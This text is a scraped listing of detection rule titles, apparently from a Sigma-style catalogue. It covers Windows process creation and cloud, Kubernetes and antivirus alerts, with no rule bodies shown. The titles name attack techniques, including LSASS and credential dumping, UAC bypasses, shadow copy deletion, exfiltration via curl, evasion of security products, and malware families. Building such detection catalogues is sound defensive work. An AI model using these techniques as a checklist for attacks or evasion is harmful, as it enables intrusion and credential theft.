Location Remote Access Tool - MeshAgent Command Execution via MeshCentral Remote Access Tool - NetSupport Execution Remote Access Tool - NetSupport Execution From Unusual Location Remote Access Tool - GoToAssist Execution Remote Access Tool - LogMeIn Execution Remote Access Tool - ScreenConnect Execution Remote Access Tool - ScreenConnect Installation Execution Remote Access Tool - ScreenConnect Remote Command Execution Remote Access Tool - ScreenConnect Potential Suspicious Remote Command Execution Remote Access Tool - ScreenConnect Server Web Shell Execution Remote Access Tool - Simple Help Execution Remote Access Tool - Team Viewer Session Started On Windows Host Remote Access Tool - UltraViewer Execution Discovery of a System Time Renamed AdFind Execution Renamed AutoHotkey.EXE Execution Renamed AutoIt Execution Potential Defense Evasion Via Binary Rename Potential Defense Evasion Via Rename Of Highly Relevant Binaries Renamed BOINC Client Execution Renamed BrowserCore.EXE Execution Renamed Cloudflared.EXE Execution Renamed CreateDump Utility Execution Renamed CURL.EXE Execution Renamed ZOHO Dctask64 Execution Renamed FTP.EXE Execution Renamed Gpg.EXE Execution Renamed Jusched.EXE Execution Renamed Mavinject.EXE Execution Renamed MegaSync Execution Renamed Msdt.EXE Execution Renamed Microsoft Teams Execution Renamed NetSupport RAT Execution Renamed NirCmd.EXE Execution Renamed Office Binary Execution Renamed PAExec Execution Renamed PingCastle Binary Execution Renamed Plink Execution Visual Studio NodejsTools PressAnyKey Renamed Execution Potential Renamed Rundll32 Execution Renamed Remote Utilities RAT (RURAT) Execution Renamed SysInternals DebugView Execution Renamed ProcDump Execution Renamed PsExec Service Execution Renamed Sysinternals Sdelete Execution Renamed Vmnat.exe Execution Renamed Whoami Execution Capture Credentials with Rpcping.exe Ruby Inline Command Execution Potential Rundll32 Execution With DLL Stored In ADS Suspicious Advpack Call Via Rundll32.EXE Suspicious Rundll32 Invoking Inline VBScript Rundll32 InstallScreenSaver Execution Suspicious Key Manager Access Rundll32 Execution Without CommandLine Parameters Mshtml.DLL RunHTMLApplication Suspicious Usage Suspicious NTLM Authentication on the Printer Spooler Service Potential Obfuscated Ordinal Call Via Rundll32 Rundll32 Spawned Via Explorer.EXE Process Memory Dump Via Comsvcs.DLL Rundll32 Registered COM Objects Suspicious Process Start Locations Suspicious Rundll32 Setupapi.dll Activity Shell32 DLL Execution in Suspicious Directory Potential ShellDispatch.DLL Functionality Abuse RunDLL32 Spawning Explorer Potentially Suspicious Rundll32 Activity Suspicious Control Panel DLL Load Suspicious Rundll32 Execution With Image Extension Suspicious Usage Of ShellExec_RunDLL Suspicious ShellExec_RunDLL Call Via Ordinal ShimCache Flush Suspicious Rundll32 Activity Invoking Sys File Potentially Suspicious Rundll32.EXE Execution of UDL File Rundll32 Execution With Uncommon DLL Extension Rundll32 UNC Path Execution Suspicious Workstation Locking via Rundll32 Suspicious Modification Of Scheduled Tasks Suspicious WebDav Client Execution Via Rundll32.EXE WebDav Client Execution Via Rundll32.EXE Rundll32 Execution Without Parameters Run Once Task Execution as Configured in Registry Suspicious Schtasks Execution AppData Folder Scheduled Task Creation Via Schtasks.EXE Suspicious Scheduled Task Creation Involving Temp Folder Delete Important Scheduled Task Delete All Scheduled Tasks Disable Important Scheduled Task Schedule Task Creation From Env Variable Or Potentially Suspicious Path Via Schtasks.EXE Schtasks From Suspicious Folders Suspicious Scheduled Task Name As GUID Uncommon One Time Only Scheduled Task At 00:00 Potential Persistence Via Microsoft Compatibility Appraiser Potential Persistence Via Powershell Search Order Hijacking - Task Scheduled Task Executing Payload from Registry Scheduled Task Executing Encoded Payload from Registry Suspicious Schtasks Schedule Types Suspicious Schtasks Schedule Type With High Privileges Suspicious Scheduled Task Creation via Masqueraded XML File Suspicious Command Patterns In Scheduled Task Creation Schtasks Creation Or Modification With SYSTEM Privileges Script Event Consumer Spawning Process Possible Privilege Escalation via Weak Service Permissions New Service Creation Using Sc.EXE Service StartupType Change Via Sc.EXE New Kernel Driver Via SC.EXE Interesting Service Enumeration Via Sc.EXE Allow Service Access Using Security Descriptor Tampering Via Sc.EXE Deny Service Access Using Security Descriptor Tampering Via Sc.EXE Service DACL Abuse To Hide Services Via Sc.EXE Service Security Descriptor Tampering Via Sc.EXE Suspicious Service Path Modification Potential Persistence Attempt Via Existing Service Tampering Stop Windows Service Via Sc.EXE Potential Shim Database Persistence via Sdbinst.EXE Uncommon Extension Shim Database Installation Via Sdbinst.EXE Sdclt Child Processes Sdiagnhost Calling Suspicious Child Process Potential Suspicious Activity Using SeCEdit Suspicious Serv-U Process Pattern Uncommon Child Process Of Setres.EXE Potential SPN Enumeration Via Setspn.EXE Setup16.EXE Execution With Custom .Lst File Suspicious Execution of Shutdown Suspicious Execution of Shutdown to Log Out Uncommon Sigverif.EXE Child Process Uncommon Child Processes Of SndVol.exe Audio Capture via SoundRecorder Suspicious Splwow64 Without Params Suspicious Spool Service Child Process Veeam Backup Database Suspicious Query VeeamBackup Database Credentials Dump Via Sqlcmd.EXE SQLite Chromium Profile Data DB Access SQLite Firefox Profile Data DB Access Arbitrary File Download Via Squirrel.EXE Process Proxy Execution Via Squirrel.EXE Port Forwarding Activity Via SSH.EXE Program Executed Using Proxy/Local Command Via SSH.EXE Potential RDP Tunneling Via SSH Potential Amazon SSM Agent Hijacking Execution via stordiag.exe Start of NT Virtual DOS Machine Abused Debug Privilege by Arbitrary Parent Processes User Added to Local Administrators Group User Added To Highly Privileged Group User Added to Remote Desktop Users Group Execute From Alternate Data Streams Always Install Elevated Windows Installer Potentially Suspicious Windows App Activity Arbitrary Shell Command Execution Via Settingcontent-Ms Phishing Pattern ISO in Archive Automated Collection Command Prompt Bad Opsec Defaults Sacrificial Processes With Improper Arguments Potential Suspicious Browser Launch From Document Reader Process Potential Browser Data Stealing Suspicious Child Process Created as System Potential Commandline Obfuscation Using Escape Characters Potential CommandLine Obfuscation Using Unicode Characters From Suspicious Image Potential Command Line Path Traversal Evasion Attempt Suspicious Copy From or To System Directory Copy From Or To Admin Share Or Sysvol Folder Potential Crypto Mining Activity LOL-Binary Copied From System Directory Potential Data Exfiltration Activity Via CommandLine Tools Raccine Uninstall Suspicious Double Extension File Execution Suspicious Parent Double Extension File Execution Suspicious Download from Office Domain DumpStack.log Defender Evasion Always Install Elevated MSI Spawned Cmd And Powershell Suspicious Electron Application Child Processes Potentially Suspicious Electron Application CommandLine Elevated System Shell Spawned From Uncommon Parent Location Hidden Powershell in Link File Pattern Potential Defense Evasion Activity Via Emoji Usage In CommandLine - 2 Potential Defense Evasion Activity Via Emoji Usage In CommandLine - 1 Potential Defense Evasion Activity Via Emoji Usage In CommandLine - 3 ETW Logging Tamper In .NET Processes Via CommandLine Potential Defense Evasion Activity Via Emoji Usage In CommandLine - 4 ETW Trace Evasion Activity Suspicious Eventlog Clearing or Configuration Change Activity Potentially Suspicious EventLog Recon Activity Using Log Query Utilities Potentially Suspicious Execution From Parent Process In Public Folder Process Execution From A Potentially Suspicious Folder Suspicious File Characteristics Due to Missing Fields Suspicious Reconnaissance Activity Via GatherNetworkInfo.VBS Potential Hidden Directory Creation Via NTFS INDEX_ALLOCATION Stream - CLI Writing Of Malicious Files To The Fonts Folder Potential Homoglyph Attack Using Lookalike Characters Execution Of Non-Existing File Base64 MZ Header In CommandLine Potential WinAPI Calls Via CommandLine Potentially Suspicious JWT Token Search Via CLI Local Accounts Discovery LOLBIN Execution From Abnormal Drive LSASS Dump Keyword In CommandLine Potential File Download Via MS-AppInstaller Protocol Handler Suspicious Network Command Suspicious Scan Loop Network Potential Network Sniffing Activity Using Network Tools Execution of Suspicious File Type Extension Non-privileged Usage of Reg or Powershell Process Launched Without Image Name Suspicious Process Patterns NTDS.DIT Exfil Potentially Suspicious Call To Win32_NTEventlogFile Class Use Short Name Path in Command Line Use Short Name Path in Image Use NTFS Short Name in Command Line Use NTFS Short Name in Image Obfuscated IP Download Activity Obfuscated IP Via CLI Suspicious Process Parents Private Keys Reconnaissance Via CommandLine Tools Potential PowerShell Execution Via DLL Suspicious RunAs-Like Flag Combination Privilege Escalation via Named Pipe Impersonation Windows Processes Suspicious Parent Directory Suspicious Program Names Recon Information for Export with Command Prompt Suspicious Process Execution From Fake Recycle.Bin Folder Suspicious Redirection to Local Admin Share Potential Remote Desktop Tunneling Potential Defense Evasion Via Right-to-Left Override Script Interpreter Execution From Suspicious Folder Suspicious Script Execution From Temp Folder Sensitive File Access Via Volume Shadow Copy Backup Suspicious New Service Creation Suspicious Service Binary Directory Shadow Copies Creation Using Operating Systems Utilities Suspicious Windows Service Tampering System File Execution Location Anomaly Shadow Copies Deletion Using Operating Systems Utilities Windows Shell/Scripting Processes Spawning Suspicious Programs Suspicious SYSTEM User Process Creation Suspicious SYSVOL Domain Group Policy Access Tasks Folder Evasion Process Creation Using Sysnative Folder Suspicious Userinit Child Process Malicious Windows Script Components File Execution by TAEF Detection Malicious PE Execution by Microsoft Visual Studio Debugger Weak or Abused Passwords In CLI Usage Of Web Request Commands And Cmdlets WhoAmI as Parameter Execution via WorkFolders.exe Suspect Svchost Activity Suspicious Process Masquerading As SvcHost.EXE Terminal Service Process Spawn Uncommon Svchost Parent Process Permission Check Via Accesschk.EXE Active Directory Database Snapshot Via ADExplorer Suspicious Active Directory Database Snapshot Via ADExplorer Potential Execution of Sysinternals Tools Potential Memory Dumping Activity Via LiveKD Kernel Memory Dump Via LiveKD Procdump Execution Potential SysInternals ProcDump Evasion Potential LSASS Process Dump Via Procdump Psexec Execution PsExec/PAExec Escalation to LOCAL SYSTEM Potential PsExec Remote Execution PsExec Service Child Process Execution as LOCAL SYSTEM PsExec Service Execution Suspicious Use of PsLogList Sysinternals PsService Execution Sysinternals PsSuspend Execution Sysinternals PsSuspend Suspicious Execution Potential File Overwrite Via Sysinternals SDelete Potential Privilege Escalation To LOCAL SYSTEM Sysmon Configuration Update Uninstall Sysinternals Sysmon Potential Binary Impersonating Sysinternals Tools Sysprep on AppData Folder Suspicious Execution of Systeminfo Potential Signing Bypass Via Windows Developer Features Suspicious Recursive Takeown Tap Installer Execution Compressed File Creation Via Tar.EXE Compressed File Extraction Via Tar.EXE Taskkill Symantec Endpoint Protection Loaded Module Enumeration Via Tasklist.EXE Taskmgr as LOCAL_SYSTEM New Process Created Via Taskmgr.EXE Potentially Suspicious Command Targeting Teams Sensitive Files Suspicious TSCON Start as SYSTEM New Virtual Smart Card Created Via TpmVscMgr.EXE Bypass UAC via CMSTP Suspicious RDP Redirect Using TSCON UAC Bypass Using Disk Cleanup UAC Bypass Using ChangePK and SLUI CMSTP UAC Bypass via COM Object Access UAC Bypass Tools Using ComputerDefaults Potential RDP Session Hijacking Activity UAC Bypass Using Consent and Comctl32 - Process UAC Bypass Using DismHost Bypass UAC via Fodhelper.exe UAC Bypass Using Event Viewer RecentViews UAC Bypass Using NTFS Reparse Point - Process UAC Bypass via ICMLuaUtil UAC Bypass Using IDiagnostic Profile UAC Bypass Using IEInstal - Process UAC Bypass via Windows Firewall Snap-In Hijack UAC Bypass Using MSConfig Token Modification - Process UAC Bypass Using PkgMgr and DISM Potential UAC Bypass Via Sdclt.EXE TrustedPath UAC Bypass Pattern UAC Bypass Abusing Winsat Path Parsing - Process UAC Bypass Using Windows Media Player - Process Bypass UAC via WSReset.exe UAC Bypass WSReset Use of UltraVNC Remote Access Software Suspicious UltraVNC Execution Uninstall Crowdstrike Falcon Sensor Windows Credential Manager Access via VaultCmd Uncommon Userinit Child Process Verclsid.exe Runs COM Object Detect Virtualbox Driver Installation OR Starting Of VMs Suspicious VBoxDrvInst.exe Parameters Potential Persistence Via VMwareToolBoxCmd.EXE VM State Change Script Suspicious Persistence Via VMwareToolBoxCmd.EXE VM State Change Script VMToolsd Suspicious Child Process Potentially Suspicious Child Process Of VsCode Visual Studio Code Tunnel Execution Visual Studio Code Tunnel Shell Execution Renamed Visual Studio Code Tunnel Execution Visual Studio Code Tunnel Service Installation Potential Binary Proxy Execution Via VSDiagnostics.EXE Suspicious Vsls-Agent Command With AgentExtensionPath Load Use of W32tm as Timer Wab Execution From Non Default Location Wab/Wabmig Unusual Parent Or Child Processes All Backups Deleted Via Wbadmin.EXE Windows Backup Deleted Via Wbadmin.EXE Sensitive File Dump Via Wbadmin.EXE File Recovery From Backup Via Wbadmin.EXE Sensitive File Recovery From Backup Via Wbadmin.EXE Potentially Suspicious WebDAV LNK Execution Chopper Webshell Process Pattern Webshell Hacking Activity Patterns Webshell Detection With Command Line Keywords Suspicious Process By Web Server Process Potential Credential Dumping Via WER Webshell Tool Reconnaissance Activity Potential ReflectDebugger Content Execution Via WerFault.EXE Suspicious Child Process Of Wermgr.EXE Suspicious Execution Location Of Wermgr.EXE Suspicious File Download From IP Via Wget.EXE Suspicious File Download From File Sharing Domain Via Wget.EXE Suspicious File Download From IP Via Wget.EXE - Paths Suspicious Where Execution Enumerate All Information With Whoami.EXE Whoami Utility Execution Whoami.EXE Execution From Privileged Process Group Membership Reconnaissance Via Whoami.EXE Whoami.EXE Execution With Output Option Whoami.EXE Execution Anomaly Security Privileges Enumeration Via Whoami.EXE Suspicious WindowsTerminal Child Processes Add New Download Source To Winget Add Insecure Download Source To Winget Add Potential Suspicious New Download Source To Winget Install New Package Via Winget Local Manifest Winrar Compressing Dump Files Potentially Suspicious Child Process Of WinRAR.EXE Winrar Execution in Non-Standard Folder AWL Bypass with Winrm.vbs and Malicious WsmPty.xsl/WsmTxt.xsl Remote Code Execute via Winrm.vbs Remote PowerShell Session Host Process (WinRM) Suspicious Processes Spawned by WinRM Compress Data and Lock With Password for Exfiltration With WINZIP Wlrmdr.EXE Uncommon Argument Or Child Process New ActiveScriptEventConsumer Created Via Wmic.EXE Potential Windows Defender Tampering Via Wmic.EXE New Process Created Via Wmic.EXE Computer System Reconnaissance Via Wmic.EXE Local Groups Reconnaissance Via Wmic.EXE Hardware Model Reconnaissance Via Wmic.EXE Windows Hotfix Updates Reconnaissance Via Wmic.EXE Process Reconnaissance Via Wmic.EXE Potential Product Reconnaissance Via Wmic.EXE Potential Product Class Reconnaissance Via Wmic.EXE Service Reconnaissance Via Wmic.EXE Uncommon System Information Discovery Via Wmic.EXE Potential Unquoted Service Path Reconnaissance Via Wmic.EXE System Disk And Volume Reconnaissance Via Wmic.EXE WMIC Remote Command Execution Service Started/Stopped Via Wmic.EXE Potential SquiblyTwo Technique Execution Suspicious WMIC Execution Via Office Process Suspicious Process Created Via Wmic.EXE Application Terminated Via Wmic.EXE Application Removed Via Wmic.EXE Potential Tampering With Security Products Via WMIC XSL Script Execution Via WMIC.EXE WmiPrvSE Spawned A Process Potential WMI Lateral Movement WmiPrvSE Spawned PowerShell Suspicious WmiPrvSE Child Process WMI Backdoor Exchange Transport Agent WMI Persistence - Script Event Consumer UEFI Persistence Via Wpbbin - ProcessCreation Potential Dropper Script Execution Via WScript/CScript Cscript/Wscript Potentially Suspicious Child Process Cscript/Wscript Uncommon Script Extension Execution WSL Child Process Anomaly Windows Binary Executed From WSL Proxy Execution Via Wuauclt.EXE Suspicious Windows Update Agent Empty Cmdline Cab File Extraction Via Wusa.EXE From Potentially Suspicious Paths Wusa.EXE Executed By Parent Process Located In Suspicious Location Xwizard.EXE Execution From Non-Default Location COM Object Execution via Xwizard.EXE ZxShell Malware Turla Group Lateral Movement Turla Group Commands May 2020 Exploit for CVE-2015-1641 Exploit for CVE-2017-0261 Droppers Exploiting CVE-2017-11882 Exploit for CVE-2017-8759 Adwind RAT / JRAT Fireball Archer Install NotPetya Ransomware Activity Potential PlugX Activity WannaCry Ransomware Activity Potential APT10 Cloud Hopper Activity Ps.exe Renamed SysInternals Tool Lazarus System Binary Masquerading Elise Backdoor Activity APT27 - Emissary Panda Activity Sofacy Trojan Loader Activity APT29 2018 Phishing Campaign CommandLine Indicators Potential MuddyWater APT Activity OilRig APT Activity Defrag Deactivation TropicTrooper Campaign November 2018 Potential BearLPE Exploitation Exploiting SetupComplete.cmd CVE-2019-1378 Exploiting CVE-2019-1388 Potential Baby Shark Malware Activity Potential Dridex Activity Potential Dtrack RAT Activity Potential Emotet Activity Formbook Process Creation LockerGoga Ransomware Activity Potential QBot Activity Potential Ryuk Ransomware Activity Potential Snatch Ransomware Activity Potential APT-C-12 BlueMushroom DLL Load Activity Via Regsvr32 APT31 Judgement Panda Activity Potential Russian APT Credential Theft Activity Potential EmpireMonkey Activity Equation Group DLL_U Export Function Load Mustang Panda Dropper Operation Wocao Activity DNS RCE CVE-2020-1350 Potential Emotet Rundll32 Execution Exploitation Attempt Of CVE-2020-1472 - Execution of ZeroLogon PoC Suspicious PrinterPorts Creation (CVE-2020-1048) Exploited CVE-2020-10189 Zoho ManageEngine Blue Mockingbird GALLIUM IOCs Potential Maze Ransomware Activity Trickbot Malware Activity Potential Ke3chang/TidePool Malware Activity EvilNum APT Golden Chickens Deployment Via OCX Files Lazarus Group Activity UNC2452 Process Creation Patterns Greenbug Espionage Group Indicators UNC2452 PowerShell Pattern Suspicious VBScript UN2452 Pattern TAIDOOR RAT DLL Load Winnti Malware HK University Campaign Winnti Pipemon Characteristics Potential Atlassian Confluence CVE-2021-26084 Exploitation Attempt Potential CVE-2021-26857 Exploitation Attempt Serv-U Exploitation CVE-2021-35211 by DEV-0322 Potential CVE-2021-40444 Exploitation Attempt Potential Exploitation Attempt From Office Application Potential CVE-2021-41379 Exploitation Attempt Potential CVE-2021-44228 Exploitation Attempt - VMware Horizon Suspicious RazerInstaller Explorer Subprocess Potential SystemNightmare Exploitation Attempt Potential BlackByte Ransomware Activity Conti Volume Shadow Listing Conti NTDS Exfiltration Command Potential Conti Ransomware Activity Potential Conti Ransomware Database Dumping Activity Via SQLCmd DarkSide Ransomware Pattern Potential Devil Bait Malware Reconnaissance Potential Goofy Guineapig Backdoor Activity Potential Goofy Guineapig GoolgeUpdate Process Anomaly Pingback Backdoor Activity Small Sieve Malware CommandLine Indicator HAFNIUM Exchange Exploitation Activity REvil Kaseya Incident Malware Patterns SOURGUM Actor Behaviours Potential CVE-2023-21554 QueueJumper Exploitation Potential CVE-2022-22954 Exploitation Attempt - VMware Workspace ONE Access Remote Code Execution Potential CVE-2022-26809 Exploitation Attempt Potential CVE-2022-29072 Exploitation Attempt Suspicious Sysmon as Execution Parent ChromeLoader Malware Execution Emotet Loader Execution Via .LNK File Hermetic Wiper TG Process Patterns Raspberry Robin Subsequent Execution of Commands Raspberry Robin Initial Execution From External Drive Serpent Backdoor Payload Execution Via Scheduled Task Potential Raspberry Robin Dot Ending File Potential ACTINIUM Persistence Activity FakeUpdates/SocGholish Activity MERCURY APT Activity CVE-2023-22518 Exploitation Attempt - Suspicious Confluence Child Process (Windows) Potential MOVEit Transfer CVE-2023-34362 Exploitation - Dynamic Compilation Via Csc.EXE Potential CVE-2023-36874 Exploitation - Fake Wermgr Execution CVE-2023-38331 Exploitation Attempt - Suspicious WinRAR Child Process Potential Exploitation Attempt Of Undocumented WindowsServer RCE COLDSTEEL RAT Anonymous User Process Execution COLDSTEEL RAT Cleanup Command Execution COLDSTEEL RAT Service Persistence Execution DarkGate - Autoit3.EXE Execution Parameters DarkGate - User Created Via Net.EXE Griffon Malware Attack Pattern Injected Browser Process Spawning Rundll32 - GuLoader Activity IcedID Malware Suspicious Single Digit DLL Execution Via Rundll32 Potential Pikabot Infection - Suspicious Command Combinations Via Cmd.EXE Potential Pikabot Discovery Activity Potential Pikabot Hollowing Activity Pikabot Fake DLL Extension Execution Via Rundll32.EXE Qakbot Regsvr32 Calc Pattern Potential Qakbot Rundll32 Execution Qakbot Rundll32 Exports Execution Qakbot Rundll32 Fake DLL Extension Execution Qakbot Uninstaller Execution Rhadamanthys Stealer Module Launch Via Rundll32.EXE Rorschach Ransomware Execution Activity Potential SNAKE Malware Installation CLI Arguments Indicator Potential SNAKE Malware Installation Binary Indicator Potential SNAKE Malware Persistence Service Execution Ursnif Redirection Of Discovery Commands Potential Compromised 3CXDesktopApp Execution Potential Suspicious Child Process Of 3CXDesktopApp Potential Compromised 3CXDesktopApp Update Activity Diamond Sleet APT Process Activity Indicators Potential APT FIN7 Reconnaissance/POWERTRASH Related Activity Lace Tempest Cobalt Strike Download Lace Tempest Malware Loader Execution Mint Sandstorm - AsperaFaspex Suspicious Process Execution Mint Sandstorm - Log4J Wstomcat Process Execution Mint Sandstorm - ManageEngine Suspicious Process Execution Potential APT Mustang Panda Activity Against Australian Gov PaperCut MF/NG Exploitation Related Indicators PaperCut MF/NG Potential Exploitation Peach Sandstorm APT Process Activity Indicators Potential Exploitation of CVE-2024-37085 - Suspicious Creation Of ESX Admins Group CVE-2024-50623 Exploitation Attempt - Cleo Potential KamiKakaBot Activity - Lure Document Execution Potential KamiKakaBot Activity - Shutdown Schedule Task Creation Kapeka Backdoor Persistence Activity Kapeka Backdoor Execution Via RunDLL32.EXE Lummac Stealer Activity - Execution Of More.com And Vbc.exe Potential Raspberry Robin CPL Execution Activity Potential APT FIN7 Exploitation Activity Forest Blizzard APT - Process Creation Activity Userdomain Variable Enumeration Password Protected Compressed File Extraction Via 7Zip Set Files as System Files Using Attrib.EXE Potential BOINC Software Execution (UC-Berkeley Signature) CMD Shell Output Redirect Potential File Override/Append Via SET Command Headless Process Launched Via Conhost.EXE Dynamic .NET Compilation Via Csc.EXE - Hunting File Download Via Curl.EXE Curl.EXE Execution Potential Data Exfiltration Via Curl.EXE Diskshadow Child Process Spawned Curl.EXE Execution With Custom UserAgent ClickOnce Deployment Execution - Dfsvc.EXE Child Process Diskshadow Script Mode Execution Potential Proxy Execution Via Explorer.EXE From Shell Process Potential DLL Sideloading Activity Via ExtExport.EXE Potential Password Reconnaissance Via Findstr.EXE New Self Extracting Package Created Via IExpress.EXE Microsoft Workflow Compiler Execution CodePage Modification Via MODE.COM Net.EXE Execution SMB over QUIC Via Net.EXE Suspicious New Instance Of An Office COM Object Import New Module Via PowerShell CommandLine Unusually Long PowerShell CommandLine Invocation Of Crypto-Classes From The "Cryptography" PowerShell Namespace New Windows Firewall Rule Added Via New-NetFirewallRule Cmdlet Potentially Suspicious PowerShell Child Processes Regsvr32.EXE Calling of DllRegisterServer Export Function Implicitly Remote Access Tool - Action1 Arbitrary Code Execution and Remote Sessions Remote Access Tool - Ammy Admin Agent Execution Remote Access Tool - Cmd.EXE Execution via AnyViewer Remote Access Tool - ScreenConnect Remote Command Execution - Hunting DLL Call by Ordinal Via Rundll32.EXE Rundll32.EXE Calling DllRegisterServer Export Function Explicitly Scheduled Task Creation From Potential Suspicious Parent Location SC.EXE Query Execution Potential CommandLine Obfuscation Using Unicode Characters Potentially Suspicious Compression Tool Parameters Elevated System Shell Spawned EventLog Query Requests By Builtin Utilities Potential Suspicious Execution From GUID Like Folder Names Execution From Webserver Root Folder Tunneling Tool Execution File or Folder Permissions Modifications Manual Execution of Script Inside of a Compressed File Process Terminated Via Taskkill Suspicious Tasklist Discovery Command System Information Discovery Via Wmic.EXE WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript Arbitrary Command Execution Using WSL Cab File Extraction Via Wusa.EXE Silence.Downloader V3 Automated Turla Group Lateral Movement DNSCat2 Powershell Implementation Detection Via Process Creation Reconnaissance Activity Using BuiltIn Commands Quick Execution of a Series of Suspicious Commands MSI Spawned Cmd and Powershell Spawned Processes Always Install Elevated Parent Child Correlated Windows Kernel and 3rd-Party Drivers Exploits Token Stealing Detection of Possible Rotten Potato
None	1002	Show Rules (1002) App Permissions Granted For Other APIs Edit of .bash_profile and .bashrc OMIGOD SCX RunAsProvider ExecuteShellCommand - Auditd Brute Force Domestic Kitten FurBall Malware Pattern CobaltStrike Malleable Amazon Browsing Traffic Profile CobaltStrike Malformed UAs in Malleable Profiles CobaltStrike Malleable (OCSP) Profile CobaltStrike Malleable OneDrive Browsing Traffic Profile iOS Implant URL Pattern Search-ms and WebDAV Suspicious Indicators in URL Suspicious PowerShell Download Suspicious PowerShell Invocations - Generic Suspicious PowerShell Invocations - Specific SyncAppvPublishingServer Execution to Bypass Powershell Restriction Accessing WinAPI in PowerShell for Credentials Dumping DCOM InternetExplorer.Application Iertutil DLL Hijack - Sysmon Windows Defender Threat Detection Disabled Lateral Movement Indicator ConDrv Security Event Log Cleared Group Modification Logging Correct Execution of Nltest.exe New Service Uses Double Ampersand in Path SAM Dump to AppData Kubernetes CronJob/Job Modification Kubernetes Admission Controller Modification Kubernetes Rolebinding Modification Kubernetes Secrets Modified or Deleted Kubernetes Unauthorized or Unauthenticated Access Antivirus Exploitation Framework Detection Antivirus Hacktool Detection Antivirus Password Dumper Detection Antivirus Ransomware Detection Antivirus Web Shell Detection Antivirus Relevant File Paths Alerts Suspicious SQL Query AWS Attached Malicious Lambda Layer AWS CloudTrail Important Change Malicious Usage Of IMDS Credentials Outside Of AWS Infrastructure New Network ACL Entry Added New Network Route Added Ingress/Egress Security Group Modification LoadBalancer Security Group Modification RDS Database Security Group Modification Potential Malicious Usage of CloudTrail System Manager AWS Config Disabling Channel/Recorder AWS Console GetSigninToken Potential Abuse SES Identity Has Been Deleted AWS SAML Provider Deletion Activity AWS S3 Bucket Versioning Disable AWS Key Pair Import Activity AWS EC2 Disable EBS Encryption AWS EC2 Startup Shell Script Change AWS EC2 VM Export Failure AWS ECS Task Definition That Queries The Credential Endpoint AWS EFS Fileshare Modified or Deleted AWS EFS Fileshare Mount Modified or Deleted AWS EKS Cluster Created or Deleted AWS ElastiCache Security Group Created AWS ElastiCache Security Group Modified or Deleted Potential Bucket Enumeration on AWS AWS GuardDuty Important Change AWS IAM Backdoor Users Keys AWS IAM S3Browser Templated S3 Bucket Policy Creation AWS IAM S3Browser LoginProfile Creation AWS IAM S3Browser User or AccessKey Creation New AWS Lambda Function URL Configuration Created AWS Glue Development Endpoint Activity AWS RDS Master Password Change Modification or Deletion of an AWS RDS Cluster Restore Public AWS RDS Instance AWS Root Credentials AWS Route 53 Domain Transfer Lock Disabled AWS Route 53 Domain Transferred to Another Account AWS S3 Data Management Tampering AWS SecurityHub Findings Evasion AWS Snapshot Backup Exfiltration AWS Identity Center Identity Provider Change AWS STS AssumeRole Misuse AWS STS GetSessionToken Misuse AWS Suspicious SAML Activity AWS User Login Profile Was Modified Azure Active Directory Hybrid Health AD FS New Server Azure Active Directory Hybrid Health AD FS Service Delete User Added to an Administrator's Azure AD Role Azure Application Deleted Azure Application Gateway Modified or Deleted Azure Application Security Group Modified or Deleted Azure Application Credential Modified Azure Container Registry Created or Deleted Number Of Resource Creation Or Deployment Activities Azure Device No Longer Managed or Compliant Azure Device or Configuration Modified or Deleted Azure DNS Zone Modified or Deleted Azure Firewall Modified or Deleted Azure Firewall Rule Collection Modified or Deleted Granting Of Permissions To An Account Azure Keyvault Key Modified or Deleted Azure Key Vault Modified or Deleted Azure Keyvault Secrets Modified or Deleted Azure Kubernetes Admission Controller Azure Kubernetes Cluster Created or Deleted Azure Kubernetes CronJob Azure Kubernetes Events Deleted Azure Kubernetes Network Policy Change Azure Kubernetes Pods Deleted Azure Kubernetes RoleBinding/ClusterRoleBinding Modified and Deleted Azure Kubernetes Sensitive Role Access Azure Kubernetes Secret or Config Object Access Azure Kubernetes Service Account Modified or Deleted Disabled MFA to Bypass Authentication Mechanisms Azure Network Firewall Policy Modified or Deleted Azure Point-to-site VPN Modified or Deleted Azure Firewall Rule Configuration Modified or Deleted Azure Network Security Configuration Modified or Deleted Azure Virtual Network Device Modified or Deleted Azure New CloudShell Created Azure Owner Removed From Application or Service Principal Rare Subscription-level Operations In Azure Azure Service Principal Created Azure Service Principal Removed Azure Subscription Permission Elevation Via ActivityLogs Azure Suppression Rule Created Azure Virtual Network Modified or Deleted Azure VPN Connection Modified or Deleted CA Policy Removed by Non Approved Actor CA Policy Updated by Non Approved Actor New CA Policy by Non-approved Actor Bitlocker Key Retrieval Account Created And Deleted Within A Close Time Frame Certificate-Based Authentication Enabled Changes to Device Registration Policy Guest Users Invited To Tenant By Non Approved Inviters New Root Certificate Authority Added Users Added to Global or Device Admin Roles Application AppID Uri Configuration Changes Added Credentials to Existing Application Delegated Permissions Granted For All Users End User Consent End User Consent Blocked Added Owner To Application App Granted Microsoft Permissions App Granted Privileged Delegated Or App Permissions App Assigned To Azure RBAC/Microsoft Entra Role Application URI Configuration Changes Windows LAPS Credential Dump From Entra ID Change to Authentication Method Azure Domain Federation Settings Modified User Added To Group With CA Policy Modification Access User Removed From Group With CA Policy Modification Access Guest User Invited By Non Approved Inviters User State Changed From Guest To Member PIM Approvals And Deny Elevation PIM Alert Setting Changes To Disabled Changes To PIM Settings User Added To Privilege Role Bulk Deletion Changes To Privileged Account Permissions Privileged Account Creation Azure Subscription Permission Elevation Via AuditLogs Temporary Access Pass Added To An Account User Risk and MFA Registration Policy Updated Multi Factor Authentication Disabled For User Account Password Reset By User Account Anomalous Token Anomalous User Activity Activity From Anonymous IP Address Anonymous IP Address Atypical Travel Impossible Travel Suspicious Inbox Forwarding Identity Protection Suspicious Inbox Manipulation Rules Azure AD Account Credential Leaked Malicious IP Address Sign-In Failure Rate Malicious IP Address Sign-In Suspicious Sign-In From Malware Infected IP Password Spray Activity Primary Refresh Token Access Attempt Suspicious Browser Activity Azure AD Threat Intelligence SAML Token Issuer Anomaly New Country Unfamiliar Sign-In Properties Stale Accounts In A Privileged Role Invalid PIM License Roles Assigned Outside PIM Roles Activation Doesn't Require MFA Roles Activated Too Frequently Roles Are Not Being Used Too Many Global Admins Account Lockout Successful Authentications From Countries You Do Not Operate Out Of Increased Failed Authentications Of Any Type Measurable Increase Of Successful Authentications Authentications To Important Apps Using Single Factor Authentication Discovery Using AzureHound Failed Authentications From Countries You Do Not Operate Out Of Device Registration or Join Without MFA Azure AD Only Single Factor Authentication Required Suspicious SignIns From A Non Registered Device Sign-ins from Non-Compliant Devices Sign-ins by Unknown Devices Potential MFA Bypass Using Legacy Client Authentication Application Using Device Code Authentication 